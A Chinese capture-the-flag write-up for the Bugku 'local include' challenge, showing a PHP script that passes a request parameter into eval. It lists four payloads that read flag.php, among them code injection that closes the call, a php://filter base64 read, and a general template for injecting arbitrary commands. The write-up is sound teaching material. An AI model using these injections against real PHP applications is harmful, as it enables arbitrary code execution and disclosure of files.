bugku_本地包含

Posted huangming-zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku_本地包含相关的知识,希望对你有一定的参考价值。

先上payload:

1、?hello=);show_source(%27flag.php%27);//

2、?hello=);include $_POST[‘zzz‘];//

POST传参:zzz=php://filter/read=convert.base64-encode/resource=flag.php

3、?hello=file(%27flag.php%27)

4、?hello=show_source(‘flag.php‘)

 

首先我们来看源码:

<?php
	include "flag.php";  //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来
	$a = @$_REQUEST[‘hello‘];  //无论是以POST还是GET方式,都可以给$a赋值
	eval("var_dump($a);")  //var_dump可以输出变量的类型和值,详见手册
	show_source(__FILE__);
?>

 出现了include/require这两个函数,就是典型的文件包含攻击的漏洞了

 

接下来是每个payload的原理分析:

 

payload1:?hello=);show_source(%27flag.php%27);//

如果读者对SQL注入了解比较多,那么理解这种方式的原理可能相对来说就比较容易了。

当代码第二行结束时,$a=);show_source(%27flag.php%27);//

将其代入第三行:

eval("var_dump();show_source(%27flag.php%27);//);")

 

eval会执行代码,那么脚本里面执行的也就是:

var_dump();show_source(%27flag.php%27);//)

如果还看不清楚,那我把它分开来写:

var_dump();
show_source(‘flag.php‘);
//)

看懂了吧?

所以说,这种攻击方式和SQL注入的payload很像:
);”负责把前面的命令闭合掉

//”负责把原来命令的残余部分注释掉

中间的那部分就是我们希望执行的命令,这是典型的“命令注入”式的攻击方式!

所以payload的格式是:
);the_command_that_you_want_to_execute//

 



以上是关于bugku_本地包含的主要内容,如果未能解决你的问题,请参考以下文章

Bugku_CTF Writeup 之 文件包含(60)

安全-php://filter文件包含分析(bugku)

BugKu No one knows regex better than me

Bugku_逆向_Love

BugKu:备份是个好习惯

Bugku——Web——web基础$_POST